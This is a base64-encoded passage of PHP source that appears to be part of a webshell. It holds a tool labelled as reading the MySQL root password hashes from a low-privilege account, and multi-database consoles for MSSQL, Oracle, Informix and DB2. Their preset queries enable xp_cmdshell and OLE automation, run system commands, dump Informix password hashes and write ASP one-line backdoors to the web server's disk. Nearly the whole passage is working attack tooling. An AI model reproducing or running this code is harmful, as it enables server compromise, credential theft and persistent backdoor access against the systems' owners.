TkdJTkUgPSBNWUlTQU0gQ0hBUkFDVEVSIFNFVCB1dGY4IENPTExBVEUgdXRmOF9nZW5lcmFsX2NpOyI7CiRleHA9IkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuJGRiX3BhdGguImRhdGEvbXlzcWwvdXNlci5NWUQnIElOVE8gVEFCTEUgbW9vbiBmaWVsZHMgdGVybWluYXRlZCBieSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdcMCc7IjsKJHNlbGVjdD0iU0VMRUNUIGNvZGUgRlJPTSBtb29uIjsKJHBhc3M9IiI7Cm15c3FsX3F1ZXJ5KCRkcm9wbW9vbik7CmlmKG15c3FsX3F1ZXJ5KCRzcWwpKXsKCWlmKCRyb3c9bXlzcWxfcXVlcnkoJGV4cCkpewoJCWlmKCRyb3c9bXlzcWxfcXVlcnkoJHNlbGVjdCkpewoJCQl3aGlsZSgkcm93cz1teXNxbF9mZXRjaF9hcnJheSgkcm93KSkKCQkJCXsKCQkJCWVjaG8gJHBhc3MuPSRyb3dzWydjb2RlJ107CgkJCQl9Cgl9Cgl9Cn0KfQplbHNlewoKCWVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPic7CgllY2hvICI8aDM+TVlTUUzkvY7mnYPpmZDor7vlj5ZST09U5a+G56CB5bel5YW3PC9oMz4iOwoJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj5pcO+8miZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ij48YnI+PC9kaXY+JzsKCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+5biQ5oi377yaPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5hbWUiIHZhbHVlPSJyb290Ij48YnI+PC9kaXY+JzsKCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+5a+G56CB77yaPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj48YnI+PC9kaXY+JzsKCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+5bqT5ZCN77yaPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRiIiB2YWx1ZT0ibXlzcWwiPjwvZGl2Pic7CgllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPiZuYnNwJm5ic3A8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICAgIOivu+WPliAgICAiIG5hbWU9InN1YiI+PC9kaXY+JzsKfQpicmVhazsKY2FzZSAib3RoZXJzcWwiOgogLy/lhbblroPmlbDmja7lupPov57mjqUKLy9mdW5jdGlvbiBvdGhlcmRiKCl7CiRkYiA9IGlzc2V0KCRfR0VUWydkYiddKSA/ICRfR0VUWydkYiddIDogJ21zJzsKcHJpbnQ8PDxFTkQKPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJkYmZvcm0iIGlkPSJkYmZvcm0iIGFjdGlvbj0iP2VhbnZlcj1vdGhlcnNxbCZkYj17JGRifSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+CjxhIGhyZWY9Ij9lYW52ZXI9b3RoZXJzcWwmZGI9bXMiPiAmbmJzcDsgTVNTUUwgJm5ic3A7PC9hPgo8YSBocmVmPSI/ZWFudmVyPW90aGVyc3FsJmRiPW9yYSI+ICZuYnNwOyBPcmFjbGUgJm5ic3A7PC9hPgo8YSBocmVmPSI/ZWFudmVyPW90aGVyc3FsJmRiPWlmeCI+ICZuYnNwOyBJbmZvck1peCAmbmJzcDs8L2E+CjxhIGhyZWY9Ij9lYW52ZXI9b3RoZXJzcWwmZGI9ZmIiPiAmbmJzcDsgRmlyZUJpcmQgJm5ic3A7PC9hPgo8YSBocmVmPSI/ZWFudmVyPW90aGVyc3FsJmRiPWRiMiI+Jm5ic3A7IERCMiAmbmJzcDs8L2E+PC9kaXY+PC9mb3JtPgpFTkQ7CmlmICgkZGI9PSJtcyIpewokbXNob3N0ID0gaXNzZXQoJF9QT1NUWydtc2hvc3QnXSkgPyAkX1BPU1RbJ21zaG9zdCddOidsb2NhbGhvc3QnOwokbXN1c2VyID0gaXNzZXQoJF9QT1NUWydtc3VzZXInXSkgPyAkX1BPU1RbJ21zdXNlciddIDogJ3NhJzsKJG1zcGFzcyA9IGlzc2V0KCRfUE9TVFsnbXNwYXNzJ10pID8gJF9QT1NUWydtc3Bhc3MnXSA6ICcnOwokbXNkYm5hbWUgPSBpc3NldCgkX1BPU1RbJ21zZGJuYW1lJ10pID8gJF9QT1NUWydtc2RibmFtZSddIDogJ21hc3Rlcic7CiRtc2FjdGlvbiA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICcnOwokbXNxdWVyeSA9IGlzc2V0KCRfUE9TVFsnbXNzcWwnXSkgPyAkX1BPU1RbJ21zc3FsJ10gOiAnJzsKJG1zcXVlcnkgPSBzdHJpcHNsYXNoZXMoJG1zcXVlcnkpOwpwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im1zZm9ybSIgYWN0aW9uPSI/ZWFudmVyPW90aGVyc3FsJmRiPW1zIj4K5Li75py677yaPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1zaG9zdCIgdmFsdWU9InskbXNob3N0fSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4K5biQ5oi3OjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtc3VzZXIiIHZhbHVlPSJ7JG1zdXNlcn0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+CuWvhueggTo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXNwYXNzIiB2YWx1ZT0ieyRtc3Bhc3N9IiBzdHlsZT0id2lkdGg6MTAwcHgiPgrlupPlkI06PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1zZGJuYW1lIiB2YWx1ZT0ieyRtc2RibmFtZX0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+PGJyPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gbXNGdWxsKGkpewpTdHIgPSBuZXcgQXJyYXkoMTEpOwpTdHJbMF0gPSAiIjsKU3RyWzFdID0gInNlbGVjdCBAQHZlcnNpb247IjsKU3RyWzJdID0gInNlbGVjdCBuYW1lIGZyb20gc3lzZGF0YWJhc2VzOyI7ClN0clszXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c29iamVjdCB3aGVyZSB0eXBlPSdVJzsiOwpTdHJbNF0gPSAic2VsZWN0IG5hbWUgZnJvbSBzeXNjb2x1bW5zIHdoZXJlIGlkPU9iamVjdF9JZCgndGFibGVfbmFtZScpOyI7ClN0cls1XSA9ICJVc2UgbWFzdGVyIGRiY2MgYWRkZXh0ZW5kZWRwcm9jICgnc3BfT0FDcmVhdGUnLCdvZHNvbGU3MC5kbGwnKTsiOwpTdHJbNl0gPSAiVXNlIG1hc3RlciBkYmNjIGFkZGV4dGVuZGVkcHJvYyAoJ3hwX2NtZHNoZWxsJywneHBsb2c3MC5kbGwnKTsiOwpTdHJbN10gPSAiRVhFQyBzcF9jb25maWd1cmUgJ3Nob3cgYWR2YW5jZWQgb3B0aW9ucycsIDE7UkVDT05GSUdVUkU7RVhFQyBzcF9jb25maWd1cmUgJ3hwX2NtZHNoZWxsJywgMTtSRUNPTkZJR1VSRTsiOwpTdHJbOF0gPSAiZXhlYyBzcF9jb25maWd1cmUgJ3Nob3cgYWR2YW5jZWQgb3B0aW9ucycsIDE7UkVDT05GSUdVUkU7ZXhlYyBzcF9jb25maWd1cmUgJ09sZSBBdXRvbWF0aW9uIFByb2NlZHVyZXMnLDE7UkVDT05GSUdVUkU7IjsKU3RyWzldID0gImV4ZWMgc3BfY29uZmlndXJlICdzaG93IGFkdmFuY2VkIG9wdGlvbnMnLCAxO1JFQ09ORklHVVJFO2V4ZWMgc3BfY29uZmlndXJlICdBZCBIb2MgRGlzdHJpYnV0ZWQgUXVlcmllcycsMTtSRUNPTkZJR1VSRTsiOwpTdHJbMTBdID0gIkV4ZWMgbWFzdGVyLmRiby54cF9jbWRzaGVsbCAnbmV0IHVzZXInOyI7ClN0clsxMV0gPSAiRGVjbGFyZSBAcyBpbnQ7ZXhlYyBzcF9vYWNyZWF0ZSAnd3NjcmlwdC5zaGVsbCcsQHMgb3V0O0V4ZWMgU1BfT0FNZXRob2QgQHMsJ3J1bicsTlVMTCwnY21kLmV4ZSAvYyBlY2hvIF48JWV4ZWN1dGUocmVxdWVzdChjaGFyKDM1KSkpJV4+ID4gYzpcXFxcMS5hc3AnOyI7ClN0clsxMl0gPSAic3BfbWFrZXdlYnRhc2sgQG91dHB1dGZpbGU9J2Q6XFxcXHdlYlxcXFxiaW4uYXNwJyxAY2hhcnNldD1nYjIzMTIsQHF1ZXJ5PSdzZWxlY3QgJyc8JWV4ZWN1dGUocmVxdWVzdChjaHIoMzUpKSklPicnJyAiOwptc2Zvcm0ubXNzcWwudmFsdWUgPSBTdHJbaV07CnJldHVybiB0cnVlOwp9Cjwvc2NyaXB0Pgo8dGV4dGFyZWEgbmFtZT0ibXNzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JG1zcXVlcnl9PC90ZXh0YXJlYT48YnI+CjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBtc0Z1bGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSkiPgo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7miafooYzlkb3ku6Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSI+5pi+56S654mI5pysPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIiPuaVsOaNruW6kzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzIj7ooajmrrU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNCI+5a2X5q61PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUiPnNwX29hY3JlYXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjYiPnhwX2NtZHNoZWxsPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjciPnhwX2NtZHNoZWxsKDIwMDUpPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjgiPnNwX29hY3JlYXRlKDIwMDUpPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjkiPuaJk+W8gG9wZW5yb3dzZXQoMjAwNSk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPnhwX2NtZHNoZWxsIGV4ZWM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPnNwX29hbWV0aG9kIGV4ZWM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTEiPnNwX21ha2V3ZWJ0YXNrPC9vcHRpb24+Cjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJtc3F1ZXJ5Ij4KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0i5omn6KGMIj48L2Zvcm0+PC9kaXY+CkVORDsKaWYgKCRtc2FjdGlvbiA9PSAnbXNxdWVyeScpewokbXNjb25uPSBtc3NxbF9jb25uZWN0ICgkbXNob3N0ICwgJG1zdXNlciwgJG1zcGFzcyk7Cm1zc3FsX3NlbGVjdF9kYigkbXNkYm5hbWUsJG1zY29ubikgb3IgZGllKCJjb25uZWN0IGVycm9yIDoiIC5tc3NxbF9nZXRfbGFzdF9tZXNzYWdlKCkpOwokbXNyZXN1bHQgPSBtc3NxbF9xdWVyeSgkbXNxdWVyeSkgb3IgZGllKG1zc3FsX2dldF9sYXN0X21lc3NhZ2UoKSk7CmVjaG8gJzxmb250IGZhY2U9InZlcmRhbmEiPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMiI+Jy4iXG48dHI+XG4iOwpmb3IgKCRpPTA7ICRpPG1zc3FsX251bV9maWVsZHMoJG1zcmVzdWx0KTsgJGkrKykKe2VjaG8gJzx0ZD48Yj4nLm1zc3FsX2ZpZWxkX25hbWUoJG1zcmVzdWx0LCAkaSkuIjwvYj48L3RkPlxuIjt9CmVjaG8gIjwvdHI+XG4iOwptc3NxbF9kYXRhX3NlZWsoJHJlc3VsdCwgMCk7CndoaWxlICgkbXNyb3c9bXNzcWxfZmV0Y2hfcm93KCRtc3Jlc3VsdCkpCnsKZWNobyAiPHRyPlxuIjsKZm9yICgkaT0wOyAkaTxtc3NxbF9udW1fZmllbGRzKCRtc3Jlc3VsdCk7ICRpKysgKQp7ZWNobyAnPHRkPicuIiRtc3Jvd1skaV0iLic8L3RkPic7fQplY2hvICI8L3RyPlxuIjsKfQplY2hvICI8L3RhYmxlPjwvZm9udD4iOwptc3NxbF9mcmVlX3Jlc3VsdCgkbXNyZXN1bHQpOwptc3NxbF9jbG9zZSgpOwp9Cn0KZWxzZWlmICgkZGI9PSJvcmEiKXsKJG9yYWhvc3QgPSBpc3NldCgkX1BPU1RbJ29yYWhvc3QnXSkgPyAkX1BPU1RbJ29yYWhvc3QnXSA6ICdsb2NhbGhvc3QnOwokb3JhcG9ydCA9IGlzc2V0KCRfUE9TVFsnb3JhcG9ydCddKSA/ICRfUE9TVFsnb3JhcG9ydCddIDogJzE1MjEnOwokb3JhdXNlciA9IGlzc2V0KCRfUE9TVFsnb3JhdXNlciddKSA/ICRfUE9TVFsnb3JhdXNlciddIDogJ3Jvb3QnOwokb3JhcGFzcyA9IGlzc2V0KCRfUE9TVFsnb3JhcGFzcyddKSA/ICRfUE9TVFsnb3JhcGFzcyddIDogJzEyMzQ1Nic7CiRvcmFzaWQgPSBpc3NldCgkX1BPU1RbJ29yYXNpZCddKSA/ICRfUE9TVFsnb3Jhc2lkJ10gOiAnT1JDTCc7CiRvcmFhY3Rpb24gPSBpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSA/ICRfUE9TVFsnYWN0aW9uJ10gOiAnJzsKJG9yYXF1ZXJ5ID0gaXNzZXQoJF9QT1NUWydvcmFzcWwnXSkgPyAkX1BPU1RbJ29yYXNxbCddIDogJyc7CiRvcmFxdWVyeSA9IHN0cmlwc2xhc2hlcygkb3JhcXVlcnkpOwpwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Im9yYWZvcm0iIGFjdGlvbj0iP2VhbnZlcj1vdGhlcnNxbCZkYj1vcmEiPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPgrkuLvmnLo6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im9yYWhvc3QiIHZhbHVlPSJ7JG9yYWhvc3R9IiBzdHlsZT0id2lkdGg6MTAwcHgiPgrnq6/lj6M6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im9yYXBvcnQiIHZhbHVlPSJ7JG9yYXBvcnR9IiBzdHlsZT0id2lkdGg6NTBweCI+CuW4kOaItzo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ib3JhdXNlciIgdmFsdWU9Inskb3JhdXNlcn0iIHN0eWxlPSJ3aWR0aDo4MHB4Ij4K5a+G56CBOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJvcmFwYXNzIiB2YWx1ZT0ieyRvcmFwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4KU0lEOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJvcmFzaWQiIHZhbHVlPSJ7JG9yYXNpZH0iIHN0eWxlPSJ3aWR0aDo1MHB4Ij48YnI+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBvcmFGdWxsKGkpewpTdHIgPSBuZXcgQXJyYXkoNSk7ClN0clswXSA9ICIiOwpTdHJbMV0gPSAic2VsZWN0IHZlcnNpb24oKTsiOwpTdHJbMl0gPSAiU0VMRUNUIE5BTUUgRlJPTSBWJERBVEFCQVNFIjsKU3RyWzNdID0gInNlbGVjdCAqIEZyb20gYWxsX29iamVjdHMgd2hlcmUgb2JqZWN0X3R5cGU9J1RBQkxFJyI7ClN0cls0XSA9ICJzZWxlY3QgY29sdW1uX25hbWUgZnJvbSB1c2VyX3RhYl9jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3RhYmxlMSciOwpvcmFmb3JtLm9yYXNxbC52YWx1ZSA9IFN0cltpXTsKcmV0dXJuIHRydWU7Cn0KPC9zY3JpcHQ+Cjx0ZXh0YXJlYSBuYW1lPSJvcmFzcWwiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6MjAwcHg7Ij57JG9yYXF1ZXJ5fTwvdGV4dGFyZWE+PGJyPgo8c2VsZWN0IG9uY2hhbmdlPSJyZXR1cm4gb3JhRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSI+CjxvcHRpb24gdmFsdWU9IjAiIHNlbGVjdGVkPuaJp+ihjOWRveS7pDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj7mmL7npLrniYjmnKw8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiI+5pWw5o2u5bqTPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMiPuihqOautTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0Ij7lrZfmrrU8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9Im15cXVlcnkiPgo8aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSI+PC9kaXY+PC9mb3JtPgpFTkQ7CmlmKCRvcmFhY3Rpb24gPT0gJ29yYXF1ZXJ5Jyl7CiRvcmFsaW5rPU9DSUxvZ29uKCRvcmF1c2VyLCRvcmFwYXNzLCIoREVzY3JpcHRJT049KEFERFJFU1M9KFBST1RPQ09MID1UQ1ApKEhPU1Q9JG9yYWhvc3QpKFBPUlQgPSAkb3JhcG9ydCkpKENPTk5FQ1RfREFUQSA9KFNJRD0kb3Jhc2lkKSkpIikgb3IgZGllKG9jaWVycm9yKCkpOwokb3JhcmVzdWx0PW9jaXBhcnNlKCRvcmFsaW5rLCRvcmFxdWVyeSkgb3IgZGllKG9jaWVycm9yKCkpOwokb3Jhcm93PW9jaV9mZXRjaF9yb3coJG9yYXJlc3VsdCk7CmVjaG8gJzxmb250IGZhY2U9InZlcmRhbmEiPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMiI+Jy4iXG48dHI+XG4iOwpmb3IgKCRpPTA7ICRpPG9jaV9udW1fZmllbGRzKCRvcmFyZXN1bHQpOyAkaSsrKQp7ZWNobyAnPHRkPjxiPicub2NpX2ZpZWxkX25hbWUoJG9yYXJlc3VsdCwgJGkpLiI8L2I+PC90ZD5cbiI7fQplY2hvICI8L3RyPlxuIjsKb2NpcmVzdWx0KCRvcmFyZXN1bHQsIDApOwp3aGlsZSAoJG9yYXJvdz1vcmFfZmV0Y2hfcm93KCRvcmFyZXN1bHQpKQp7CmVjaG8gIjx0cj5cbiI7CmZvciAoJGk9MDsgJGk8b3JhX251bV9maWVsZHMoJHJlc3VsdCk7ICRpKysgKQp7ZWNobyAnPHRkPicuIiRvcmFyb3dbJGldIi4nPC90ZD4nO30KZWNobyAiPC90cj5cbiI7Cn0KZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsKb2NpX2ZyZWVfc3RhdGVtZW50KCRvcmFyZXN1bHQpOwpvY2lsb2dvZmYoKTsKfQp9CmVsc2VpZiAoJGRiID09ICJpZngiKXsKJGlmeHVzZXIgPSBpc3NldCgkX1BPU1RbJ2lmeHVzZXInXSkgPyAkX1BPU1RbJ2lmeHVzZXInXSA6ICdyb290JzsKJGlmeHBhc3MgPSBpc3NldCgkX1BPU1RbJ2lmeHBhc3MnXSkgPyAkX1BPU1RbJ2lmeHBhc3MnXSA6ICcxMjM0NTYnOwokaWZ4ZGJuYW1lID0gaXNzZXQoJF9QT1NUWydpZnhkYm5hbWUnXSkgPyAkX1BPU1RbJ2lmeGRibmFtZSddIDogJ2lmeGRiJzsKJGlmeGFjdGlvbiA9IGlzc2V0KCRfUE9TVFsnYWN0aW9uJ10pID8gJF9QT1NUWydhY3Rpb24nXSA6ICcnOwokaWZ4cXVlcnkgPSBpc3NldCgkX1BPU1RbJ2lmeHNxbCddKSA/ICRfUE9TVFsnaWZ4c3FsJ10gOiAnJzsKJGlmeHF1ZXJ5ID0gc3RyaXBzbGFzaGVzKCRpZnhxdWVyeSk7CnByaW50PDw8RU5ECjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iaWZ4Zm9ybSIgYWN0aW9uPSI/ZWFudmVyPW90aGVyc3FsJmRiPWlmeCI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+5bqT5ZCNOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpZnhob3N0IiB2YWx1ZT0ieyRpZnhkYm5hbWV9IiBzdHlsZT0id2lkdGg6MTAwcHgiPgrluJDmiLc6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlmeHVzZXIiIHZhbHVlPSJ7JGlmeHVzZXJ9IiBzdHlsZT0id2lkdGg6MTAwcHgiPgrlr4bnoIE6PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlmeHBhc3MiIHZhbHVlPSJ7JGlmeHBhc3N9IiBzdHlsZT0id2lkdGg6MTAwcHgiPjxicj4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGlmeEZ1bGwoaSl7ClN0ciA9IG5ldyBBcnJheSgxMSk7ClN0clswXSA9ICIiOwpTdHJbMV0gPSAic2VsZWN0IGRic2VydmVybmFtZSBmcm9tIHN5c29iamVjdHM7IjsKU3RyWzJdID0gInNlbGVjdCBuYW1lIGZyb20gc3lzZGF0YWJhc2VzOyI7ClN0clszXSA9ICJzZWxlY3QgdGFibmFtZSBmcm9tIHN5c3RhYmxlczsiOwpTdHJbNF0gPSAic2VsZWN0IGNvbG5hbWUgZnJvbSBzeXNjb2x1bW5zIHdoZXJlIHRhYmlkPW47IjsKU3RyWzVdID0gInNlbGVjdCB1c2VybmFtZSx1c2VydHlwZSxwYXNzd29yZCBmcm9tIHN5c3VzZXJzOyI7CmlmeGZvcm0uaWZ4c3FsLnZhbHVlID0gU3RyW2ldOwpyZXR1cm4gdHJ1ZTsKfQo8L3NjcmlwdD4KPHRleHRhcmVhIG5hbWU9ImlmeHNxbCIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDoyMDBweDsiPnskaWZ4cXVlcnl9PC90ZXh0YXJlYT48YnI+CjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBpZnhGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpIj4KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+5omn6KGM5ZG95LukPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEiPuaVsOaNruW6k+acjeWKoeWZqOWQjeensDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxIj7mlbDmja7lupM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiI+6KGo5q61PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMiPuWtl+autTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0Ij5oYXNoZXM8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImlmeHF1ZXJ5Ij4KPGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiPjwvZGl2PjwvZm9ybT4KRU5EOwppZigkaWZ4YWN0aW9uID09ICdpZnhxdWVyeScpewokaWZ4bGluayA9IGlmeF9jb25uZWN0KCRpZmNkYm5hbWUsICRpZnh1c2VyLCAkaWZ4cGFzcykgb3IgZGllKGlmeF9lcnJvcm1zZygpKTsKJGlmeHJlc3VsdCA9IGlmeF9xdWVyeSgkaWZ4cXVlcnksJGlmeGxpbmspIG9yIGRpZSAoaWZ4X2Vycm9ybXNnKCkpOwokaWZ4cm93PWlmeF9mZXRjaF9yb3coJGlmeHJlc3VsdCk7CmVjaG8gJzxmb250IGZhY2U9InZlcmRhbmEiPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMiI+Jy4iXG48dHI+XG4iOwpmb3IoJGk9MDsgJGk8aWZ4X251bV9maWVsZHMoJGlmeHJlc3VsdCk7ICRpKyspCntlY2hvICc8dGQ+PGI+Jy5pZnhfZmllbGRwcm9wZXJ0aWVzKCRpZnhyZXN1bHQpLiI8L2I+PC90ZD5cbiI7fQplY2hvICI8L3RyPlxuIjsKbXlzcWxfZGF0YV9zZWVrKCRpZnhyZXN1bHQsIDApOwp3aGlsZSAoJGlmeHJvdz1pZnhfZmV0Y2hfcm93KCRpZnhyZXN1bHQpKQp7CmVjaG8gIjx0cj5cbiI7CmZvciAoJGk9MDsgJGk8aWZ4X251bV9maWVsZHMoJGlmeHJlc3VsdCk7ICRpKysgKQp7ZWNobyAnPHRkPicuIiRpZnhyb3dbJGldIi4nPC90ZD4nO30KZWNobyAiPC90cj5cbiI7Cn0KZWNobyAiPC90YWJsZT48L2ZvbnQ+IjsKaWZ4X2ZyZWVfcmVzdWx0KCRpZnhyZXN1bHQpOwppZnhfY2xvc2UoKTsKfQp9CmVsc2VpZiAoJGRiPT0iZGIyIil7CiRkYjJob3N0ID0gaXNzZXQoJF9QT1NUWydkYjJob3N0J10pID8gJF9QT1NUWydkYjJob3N0J10gOiAnbG9jYWxob3N0JzsKJGRiMnBvcnQgPSBpc3NldCgkX1BPU1RbJ2RiMnBvcnQnXSkgPyAkX1BPU1RbJ2RiMnBvcnQnXSA6ICc1MDAwMCc7CiRkYjJ1c2VyID0gaXNzZXQoJF9QT1NUWydkYjJ1c2VyJ10pID8gJF9QT1NUWydkYjJ1c2VyJ10gOiAncm9vdCc7CiRkYjJwYXNzID0gaXNzZXQoJF9QT1NUWydkYjJwYXNzJ10pID8gJF9QT1NUWydkYjJwYXNzJ10gOiAnMTIzNDU2JzsKJGRiMmRibmFtZSA9IGlzc2V0KCRfUE9TVFsnZGIyZGJuYW1lJ10pID8gJF9QT1NUWydkYjJkYm5hbWUnXSA6ICdteXNxbCc7CiRkYjJhY3Rpb24gPSBpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSA/ICRfUE9TVFsnYWN0aW9uJ10gOiAnJzsKJGRiMnF1ZXJ5ID0gaXNzZXQoJF9QT1NUWydkYjJzcWwnXSkgPyAkX1BPU1RbJ2RiMnNxbCddIDogJyc7CiRkYjJxdWVyeSA9IHN0cmlwc2xhc2hlcygkZGIycXVlcnkpOwpwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9ImRiMmZvcm0iIGFjdGlvbj0iP2VhbnZlcj1vdGhlcnNxbCZkYj1kYjIiPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPuS4u+acujo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIyaG9zdCIgdmFsdWU9InskZGIyaG9zdH0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+Cuerr+WPozo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIycG9ydCIgdmFsdWU9InskZGIycG9ydH0iIHN0eWxlPSJ3aWR0aDo2MHB4Ij4K5biQ5oi3OjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJ1c2VyIiB2YWx1ZT0ieyRkYjJ1c2VyfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4K5a+G56CBOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJwYXNzIiB2YWx1ZT0ieyRkYjJwYXNzfSIgc3R5bGU9IndpZHRoOjEwMHB4Ij4K5bqT5ZCNOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYjJkYm5hbWUiIHZhbHVlPSJ7JGRiMmRibmFtZX0iIHN0eWxlPSJ3aWR0aDoxMDBweCI+PGJyPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZGIyRnVsbChpKXsKU3RyID0gbmV3IEFycmF5KDQpOwpTdHJbMF0gPSAiIjsKU3RyWzFdID0gInNlbGVjdCBzY2hlbWFuYW1lIGZyb20gc3lzY2F0LnNjaGVtYXRhOyI7ClN0clsyXSA9ICJzZWxlY3QgbmFtZSBmcm9tIHN5c2libS5zeXN0YWJsZXM7IjsKU3RyWzNdID0gInNlbGVjdCBjb2xuYW1lIGZyb20gc3lzY2F0LmNvbHVtbnMgd2hlcmUgdGFibmFtZT0ndGFibGVfbmFtZSc7IjsKU3RyWzRdID0gImRiMiBnZXQgZGIgY2ZnIGZvciBkYl9uYW1lOyI7CmRiMmZvcm0uZGIyc3FsLnZhbHVlID0gU3RyW2ldOwpyZXR1cm4gdHJ1ZTsKfQo8L3NjcmlwdD4